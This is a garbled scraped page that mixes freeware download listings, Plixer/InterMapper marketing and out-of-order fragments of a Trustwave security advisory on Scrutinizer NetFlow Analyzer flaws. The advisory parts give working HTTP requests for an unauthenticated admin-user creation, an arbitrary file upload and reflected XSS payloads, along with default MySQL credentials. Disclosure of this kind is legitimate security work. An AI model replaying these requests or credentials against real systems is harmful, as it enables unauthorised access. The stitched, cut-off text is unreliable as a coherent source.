Download Scrutinizer

Radmin Remote Control 3.4 Radmin (Remote Administrator) is the famous remote administration software for remote computer control. It enables you to access a remote PC via a LAN or over the Internet in multiple modes: remote file access, remote assistance, full remote computer control, Telnet, text and voice chat. Strong... DOWNLOAD FastTrackNews is a portable usenet client and RSS feed reader, Blog client and news aggregator. The program reduces the time and effort needed to regularly check mass media websites for updates and can be used as news and blog browser. Once subscribed to a feed, the software is able to... DOWNLOAD Cost: $29.00 USD License: Freeware Size: 718.6 KB Download Counter: 11 Released: October 01, 2008 | Added: August 10, 2009 | Viewed: 1994 PADManager 1.0.26 PADManager is an advanced PAD (Portable Application Description) editing and managing application. Portable Application Description or PAD is a standard developed by the Association of Shareware Professionals (ASP). It is designed to replace the old non-formal file_id.diz and other textual... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 2.3 MB Download Counter: 13 Released: March 05, 2006 | Added: March 08, 2006 | Viewed: 1580 Scrutinizer NetFlow & sFlow Analyzer 7.2 Scrutinizer NetFlow & sFlow Analyzer is a free software application that provides incredibly detailed network utilization information for the hosts and applications using the most bandwidth. Using Cisco NetFlow Technology and the sFlow standard, Scrutinizer is able to retrieve the traffic... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 253.5 MB Download Counter: 97

CloudBerry Explorer for Amazon S3 1.5.1.39 CLOUDBERRY EXPLORER FOR AMAZON S3 CloudBerry S3 Explorer makes managing files in Amazon S3 EASY. By providing an industry leading user interface (GUI) to Amazon S3 accounts, files, and buckets, CloudBerry lets you manage your files on cloud just as you would on your own local computer. New... DOWNLOAD FNGraph 2.61 Graphing and analyzing mathematical functions. Customization of graphs and coordinates system appearance. Support for complex syntax, large variety of functions, user-defined variables. Tools for function evaluation, analysis and integration. DOWNLOAD Cost: $0.00 USD License: Freeware Size: 523.2 KB Download Counter: 21 Released: August 07, 2002 | Added: January 01, 2003 | Viewed: 1699 It is well-known that backlinks are a very effective way to increase your rank in search engines. No matter how you got inbound links to your site (submitted your site to DMOZ, participated in reciprocal linking programs, or someone mentioned your resource in a blog), you need a tool to control... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 1.3 MB Download Counter: 12 Released: April 04, 2007 | Added: April 07, 2007 | Viewed: 1632 Antaeus 3.3.66 Antaeus is a utility that provides a simple way to explore data plots that can be used to confirm or deny the merits of statistical analyses. Most of the data plots thus explored can be saved as metafiles which can be published using word processing and desktop publishing applications. Antaeus is... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 22.0 MB Download Counter: 14 Released: February 25, 2011 | Added: February 26, 2011 | Viewed: 2595 TotalRecall 1.1 A lot of different information about a user's activity is kept within the personal computer. Usually the user does not know about its existence. TotalRecall is a free forensic analysis tool to reconstruct Microsoft Internet Explorer (MS IE) activity and some user's activity on the computer. IE... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 1.3 MB Download Counter: 17 Released: January 18, 2007 | Added: November 15, 2007 | Viewed: 2175 Scrutinizer NetFlow & sFlow Analyzer 7.2 Scrutinizer NetFlow & sFlow Analyzer is a free software application that provides incredibly detailed network utilization information for the hosts and applications using the most bandwidth. Using Cisco NetFlow Technology and the sFlow standard, Scrutinizer is able to retrieve the traffic... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 253.5 MB Download Counter: 97 Released: October 28, 2009 | Added:

$0.00 USD License: Freeware Size: 1.2 MB Download Counter: 6 Released: February 10, 2010 | Added: March 04, 2010 | Viewed: 2897 Dicom Unit Aware Calculator 4.0 Dicom calculates, converts and computes. The first ever computing tool that deals with dimensions of physical quantities in mathematical expression, Dicom, has the answer to expression like: 30 mi./h.+6 ft./s.+15.24 m./s. to ft./s. Dicom can evaluate expressions anywhere in a rich text formatted... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 2.5 MB Download Counter: 19 Released: April 16, 2006 | Added: April 19, 2006 | Viewed: 1970 EBook Builder by Blaiz Enterprises 2.00.334 FREE - EBook Builder is perfect for the budding author or seasoned writer. Compile your valuable penship to Chapters/Book format, using Rich Text Format (RTF) or plain text, into standalone, independent EBooks (.exe), requiring no supportive software. EBook Builder Features: *Toolbar *Chapters:... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 559.3 KB Download Counter: 192 Released: October 25, 2005 | Added: October 28, 2005 | Viewed: 4436 Document Trace Remover 3.5 A leaked document can compromise trade secrets and threaten company security. But did you know that even a document that you send or publish may also contain sensitive information that may harm your privacy and company security? Every time you create a document in a Microsoft Office application... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 1.2 MB Download Counter: 14 Released: November 17, 2009 | Added: November 20, 2009 | Viewed: 1644 Royal Sudoku 1.0 Royal Sudoku is complicated version of sudoku game destined for real puzzle kings. Game is based on Japan puzzler also known as Suduko, Sudoko, Su do ku, Sodoku, Suduku. In it you must to compare numbers on game board to make them according the rules. Lets repeat history of this puzzle. The... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 1.4 MB Download Counter: 36 Released: November 06, 2005 | Added: November 09, 2005 | Viewed: 2296 iMetaSearch 5.00 Search engines can't group results based on meaning, but iMetaSearch can. iMetaSearch groups search results by concept; click the groups that interest you and the search results will be revised accordingly. This is a powerful way to refine searches. Searches can be exported to Excel for analysis,... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 2.3 MB Download Counter: 8 Released: August 25, 2011 | Added: August 31, 2011 | Viewed: 1485 Scrutinizer NetFlow & sFlow Analyzer 7.2 Scrutinizer NetFlow & sFlow Analyzer is a free software application that provides incredibly detailed network utilization information for the hosts and applications using the most bandwidth. Using Cisco NetFlow Technology and the sFlow standard, Scrutinizer is able to retrieve the traffic... DOWNLOAD Cost: $0.00 USD License: Freeware Size: 253.5 MB

On exporters.php #Request 1 GET /d4d/exporters.php?aalert(123)=1 HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive #Response 1 alert(1)=1">/d4d/exporters.php?aalert(123)=1 #Request 2 GET /d4d/exporters.php HTTP/1.1 Host: A.B.C.D Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: Content-Length: 2 #Response 2 alert(123)=1"> Finding 4: Undocumented Default Admin MySQL Users CVE: CVE-2012-3951 The Scrutinizer application relies on an underlying Apache, MySQL and PHP installation which is installed as part of the scrutinizer installer package. The installation of these packages are transparent to the user during the Scrutinizer installation. The installation selects default passwords for internal MySQL Users which are not configured by the user which could be easily guessed by an attacker. There is currently no way to change these values within the Scrutinizer application and changing them manually in the MySQL instance has unknown effects on the application due to hardcoded values for some of these accounts. Example(s): The following MySQL command can be run to see the users and their relative passwords: #Request select User,Password from mysql.user; #Response User |Password root | root | scrutinizer |*4ACFE3202A5FF5CF467898FC58AAB1D615029441 scrutremote |*4ACFE3202A5FF5CF467898FC58AAB1D615029441 Note 1: the above hash shared between the 'scrutinizer' and 'scrutremote' users is equivalent to 'admin' Note 2: the 'scrutinizer' and 'scrutremote' users have select, update, delete, create, drop, and more permissions within the MySQL instance. Note 3: By default, the MySQL instance is bound to "0.0.0.0", the equivalent of every network interface on the system allowing users with the proper access rights to interact directly with the MySQL instance. Remediation Steps: Customers should update to the latest version of Scrutinizer NetFlow & sFlow Analyzer in order to address findings 1, 2 and 3. These issues have been corrected in version 9.5.0. Revision History: 05/02/12 - Vulnerability disclosed 05/16/12 - Patch released by vendor 07/11/12 - Vendor publishes announcement 07/27/12 - Advisory published References 1. 2. About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident

`Trustwave SpiderLabs Security Advisory TWSL2012-014: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer Published: 07/27/12 Version: 1.0 Vendor: Plixer International ( Product: Scrutinizer NetFlow and sFlow Analyzer Version affected: Confirmed 9.0.1 (Build 9.0.1.19899) and prior versions may be affected as well. Please note that the software can be found in a long list of other products. Visit for the partial list. Product description: Network analysis tool for monitoring the overall network health and reports on which hosts, applications, protocols, etc. that are consuming network bandwidth. Credits: Mario Ceballos of the Metasploit Project Jonathan Claudius of Trustwave Spiderlabs Finding 1: HTTP Authentication Bypass Vulnerability CVE: CVE-2012-2626 The Scrutinizer web console provides a form-based login facility, requiring users to authenticate to gain access to further functionality. A tiered user access model is also used, where administrative and standard users have a different selection of permissible functions. Authentication and authorization is controlled by the cookie-based session management system. Although this is implemented in a standardized way, the session tokens are not required to perform privileged functions, such as adding users. Example(s): This request will add a user named "trustwave" with the password of "trustwave" to the administrative user group. #Request POST /cgi-bin/admin.cgi HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Length: 70 tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1 #Response HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:52:15 GMT Server: Apache Vary: Accept-Encoding Content-Length: 19 Content-Type: text/html; charset=utf-8 {"new_user_id":"2"} Finding 2: Arbitrary File Upload Vulnerability CVE: CVE-2012-2627 The Scrutinizer web console is prone to unauthenticated arbitrary file upload vulnerability. An attacker could exploit this vulnerability to upload files to the affected systems file system as well as overwrite the Scrutinizer applications SNMP configuration. Example(s): This request will upload a test file to the following location: 'C:\Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt' Note: This affected folder also contains SNMP configuration files which could be overwritten if an attacker were to select the right file name. #Request POST /d4d/uploader.php HTTP/1.0 Host: A.B.C.D User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: multipart/form-data; boundary=_Part_949_3365333252_3066945593 Content-Length: 210 --_Part_949_3365333252_3066945593 Content-Disposition: form-data; name="uploadedfile"; filename="trustwave.txt" Content-Type: application/octet-stream trustwave --_Part_949_3365333252_3066945593-- #Response HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:39:15 GMT Server: Apache X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-Length: 41 Connection: close Content-Type: text/html {"success":1,"file_name":"trustwave.txt"} #Confirming on File System C:\>type "Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt" trustwave Finding 3: Multiple Cross-site Scripting Vulnerabilities in exporters.php and contextMenu.php CVE: CVE-2012-3848 The Scrutinizer web console suffers from multiple Cross Site Scripting vulnerabilities in the following pages: 1.) /d4d/contextMenu.php 2.) /d4d/exporters.php These vulnerabilities include the following: 1.) XSS via arbitrary parameter 3.) XSS via referrer header Example(s): The following two examples will demonstrate the the above mentioned vulnerabilities

#Download intermapper software#at 1 Eagle Drive, Sanford, Maine, via telephone (207) 324-8805, fax (207) 324-8683 or visit the Plixer website.Plixer tools have been used to analyze and troubleshoot irregular traffic patterns by IT professionals with some of the largest networks in the world, such as CNN, The Coca-Cola Company, Lockheed Martin, IBM, Regal Cinemas, Raytheon, and Eddie Bauer.įor product and sales information, contact Plixer International, Inc.All of the tools are built from the ground up with valuable feature sets and ease of use in mind. develops and markets network traffic monitoring and analysis tools to the global market. Want to add an Intermapper gadget to your MyView? Contact us to find out how.įor more help with integrating Scrutinizer with InterMapper, please contact Plixer support. InterMapper has not been rated by our users yet.InterMapper Flows is our integrated network traffic. Flows is a powerful and affordable network traffic monitor that is capable of sub-millisecond accuracy for network bandwidth monitoring.#Download intermapper software#Right-click a device, and choose Helper Apps